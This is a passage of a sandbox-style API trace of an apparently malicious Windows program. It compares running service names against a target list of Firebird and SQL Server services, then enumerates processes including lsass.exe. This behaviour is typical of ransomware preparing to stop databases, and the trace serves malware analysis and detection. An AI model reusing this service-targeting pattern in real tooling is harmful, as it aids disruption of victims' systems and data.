	[0164.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0164.044] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0164.044] lstrlenW (lpString="EventLog") returned 8
	[0164.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0164.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0164.044] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0164.044] lstrlenW (lpString="EventSystem") returned 11
	[0164.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0164.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0164.044] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0164.045] lstrlenW (lpString="FontCache") returned 9
	[0164.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0164.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0164.045] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0164.045] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0164.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0164.045] lstrlenW (lpString="gpsvc") returned 5
	[0164.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0164.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0164.045] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0164.045] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0164.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0164.045] lstrlenW (lpString="iphlpsvc") returned 8
	[0164.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0164.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0164.045] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0164.045] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0164.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0164.045] lstrlenW (lpString="KeyIso") returned 6
	[0164.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0164.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0164.045] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0164.045] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0164.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0164.045] lstrlenW (lpString="LanmanServer") returned 12
	[0164.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.045] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0164.045] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0164.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0164.045] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0164.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.045] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0164.045] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0164.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0164.045] lstrlenW (lpString="lfsvc") returned 5
	[0164.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0164.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0164.046] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0164.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0164.046] lstrlenW (lpString="lmhosts") returned 7
	[0164.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0164.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0164.046] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0164.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0164.046] lstrlenW (lpString="LSM") returned 3
	[0164.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0164.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0164.046] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0164.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0164.046] lstrlenW (lpString="MpsSvc") returned 6
	[0164.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0164.046] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0164.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0164.046] lstrlenW (lpString="NcbService") returned 10
	[0164.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0164.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0164.046] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0164.046] lstrlenW (lpString="netprofm") returned 8
	[0164.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0164.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0164.046] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0164.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0164.046] lstrlenW (lpString="NgcSvc") returned 6
	[0164.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0164.047] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0164.047] lstrlenW (lpString="NlaSvc") returned 6
	[0164.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0164.047] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0164.047] lstrlenW (lpString="nsi") returned 3
	[0164.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0164.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0164.047] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0164.047] lstrlenW (lpString="PcaSvc") returned 6
	[0164.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0164.047] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0164.047] lstrlenW (lpString="PlugPlay") returned 8
	[0164.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0164.047] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0164.047] lstrlenW (lpString="Power") returned 5
	[0164.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0164.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0164.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0164.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0164.047] lstrlenW (lpString="ProfSvc") returned 7
	[0164.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0164.048] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0164.048] lstrlenW (lpString="RpcEptMapper") returned 12
	[0164.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0164.048] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0164.048] lstrlenW (lpString="RpcSs") returned 5
	[0164.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0164.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0164.048] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0164.048] lstrlenW (lpString="SamSs") returned 5
	[0164.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0164.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0164.048] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0164.048] lstrlenW (lpString="Schedule") returned 8
	[0164.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0164.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0164.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0164.048] lstrlenW (lpString="SecurityHealthService") returned 21
	[0164.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0164.048] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0164.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0164.048] lstrlenW (lpString="SENS") returned 4
	[0164.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0164.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0164.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0164.049] lstrlenW (lpString="ShellHWDetection") returned 16
	[0164.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0164.049] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0164.049] lstrlenW (lpString="Spooler") returned 7
	[0164.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0164.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0164.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0164.049] lstrlenW (lpString="StateRepository") returned 15
	[0164.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0164.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0164.049] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0164.049] lstrlenW (lpString="SysMain") returned 7
	[0164.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0164.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0164.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0164.049] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0164.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0164.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0164.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0164.049] lstrlenW (lpString="Themes") returned 6
	[0164.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0164.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0164.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0164.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0164.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0164.103] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0164.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0164.103] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0164.103] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0164.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0164.104] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x534
	[0164.107] Process32FirstW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0164.107] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0164.108] lstrlenW (lpString="System") returned 6
	[0164.108] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0164.108] lstrlenW (lpString="smss.exe") returned 8
	[0164.108] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.109] lstrlenW (lpString="csrss.exe") returned 9
	[0164.109] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0164.109] lstrlenW (lpString="wininit.exe") returned 11
	[0164.109] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0164.110] lstrlenW (lpString="csrss.exe") returned 9
	[0164.110] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0164.110] lstrlenW (lpString="winlogon.exe") returned 12
	[0164.110] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0164.110] lstrlenW (lpString="services.exe") returned 12
	[0164.111] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0164.111] lstrlenW (lpString="lsass.exe") returned 9
	[0164.111] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.111] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.111] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0164.112] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0164.112] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.112] lstrlenW (lpString="svchost.exe") returned 11
	[0164.112] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.113] lstrlenW (lpString="svchost.exe") returned 11
	[0164.113] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0164.113] lstrlenW (lpString="dwm.exe") returned 7
	[0164.113] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.114] lstrlenW (lpString="svchost.exe") returned 11
	[0164.114] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.114] lstrlenW (lpString="svchost.exe") returned 11
	[0164.114] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.114] lstrlenW (lpString="svchost.exe") returned 11
	[0164.114] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.115] lstrlenW (lpString="svchost.exe") returned 11
	[0164.115] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.115] lstrlenW (lpString="svchost.exe") returned 11
	[0164.115] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.116] lstrlenW (lpString="svchost.exe") returned 11
	[0164.116] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.116] lstrlenW (lpString="svchost.exe") returned 11
	[0164.116] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.117] lstrlenW (lpString="svchost.exe") returned 11
	[0164.117] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.117] lstrlenW (lpString="svchost.exe") returned 11
	[0164.117] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.117] lstrlenW (lpString="svchost.exe") returned 11
	[0164.118] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0164.118] lstrlenW (lpString="spoolsv.exe") returned 11
	[0164.118] Process32NextW (in: hSnapshot=0x534, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0164.118] lstrlenW (lpString="svchost.exe") returned 11
